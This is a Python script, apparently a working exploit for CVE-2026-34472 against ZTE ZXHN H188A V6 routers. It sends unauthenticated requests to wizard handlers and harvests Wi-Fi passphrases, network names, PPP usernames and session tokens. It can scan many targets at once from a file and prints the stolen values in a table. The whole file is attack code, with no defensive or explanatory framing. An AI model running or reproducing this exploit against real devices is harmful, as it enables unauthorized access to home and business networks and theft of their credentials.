#!/usr/bin/env python3 """Extract unauthenticated wizard data for CVE-2026-34472.""" from __future__ import annotations import argparse import json import sys import urllib3 from pathlib import Path import requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) REQUESTS = ( ( "getPassword", { "_type": "tedataNotLoginData", "_tag": "wizard_lua.lua", "IF_ACTION": "getPassword", "BAND": "5GHz", "PASSTYPE": "PSK", }, ), ( "wlan_get", { "_type": "tedataNotLoginData", "_tag": "wizard_lua.lua", "IF_ACTION": "wlan_get", "BAND": "5GHz", }, ), ( "ppp_get", { "_type": "tedataNotLoginData", "_tag": "wizard_lua.lua", "IF_ACTION": "ppp_get", }, ), ) def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser( description="Probe ZTE ZXHN H188A V6 wizard handlers exposed by CVE-2026-34472." ) parser.add_argument("--target", action="append", default=[], help="Single target host or IP.") parser.add_argument( "--targets-file", type=Path, help="File containing one target host or IP per line.", ) parser.add_argument( "--timeout", type=float, default=6.0, help="Per-request timeout in seconds. Default: 6.0", ) return parser.parse_args() def collect_targets(args: argparse.Namespace) -> list[str]: targets: list[str] = [] targets.extend(args.target) if args.targets_file: for line in args.targets_file.read_text(encoding="utf-8").splitlines(): line = line.strip() if line: targets.append(line) seen: set[str] = set() unique_targets: list[str] = [] for target in targets: if target not in seen: seen.add(target) unique_targets.append(target) return unique_targets def fetch_json(session: requests.Session, scheme: str, target: str, params: dict[str, str], timeout: float) -> dict | None: url = f"{scheme}://{target}/" try: response = session.get(url, params=params, timeout=timeout, verify=False) response.raise_for_status() return response.json() except (requests.RequestException, json.JSONDecodeError, ValueError): return None def probe_target(target: str, timeout: float) -> dict[str, str]: session = requests.Session() for scheme in ("https", "http"): responses: dict[str, dict] = {} for name, params in REQUESTS: data = fetch_json(session, scheme, target, params, timeout) if data is None: responses = {} break responses[name] = data if responses: return { "scheme": scheme, "target": target, "KeyPassphrase": str(responses["getPassword"].get("KeyPassphrase", "")), "ESSID": str(responses["wlan_get"].get("ESSID", "")), "UserName": str(responses["ppp_get"].get("UserName", "")), "_sessionTOKEN": str( responses["getPassword"].get("_sessionTOKEN") or responses["wlan_get"].get("_sessionTOKEN") or responses["ppp_get"].get("_sessionTOKEN") or "" ), } return { "scheme": "", "target": target, "KeyPassphrase": "", "ESSID": "", "UserName": "", "_sessionTOKEN": "", } def print_results(results: list[dict[str, str]]) -> None: if not results: print("No targets provided.", file=sys.stderr) return print( f"{'#':<3} {'SCHEME':<6} {'TARGET':<22} {'KEYPASSPHRASE':<24} {'ESSID':<24} {'USERNAME':<30} {'SESSIONTOKEN'}" ) print("-" * 140) for index, result in enumerate(results, start=1): print( f"{index:<3} " f"{result['scheme']:<6} " f"{result['target']:<22} " f"{result['KeyPassphrase'][:24]:<24} " f"{result['ESSID'][:24]:<24} " f"{result['UserName'][:30]:<30} " f"{result['_sessionTOKEN']}" ) def main() -> int: args = parse_args() targets = collect_targets(args) if not targets: print("Provide at least one --target or a --targets-file.", file=sys.stderr) return 1 results = [probe_target(target, args.timeout) for target in targets] print_results(results) return 0 if __name__ == "__main__": raise SystemExit(main())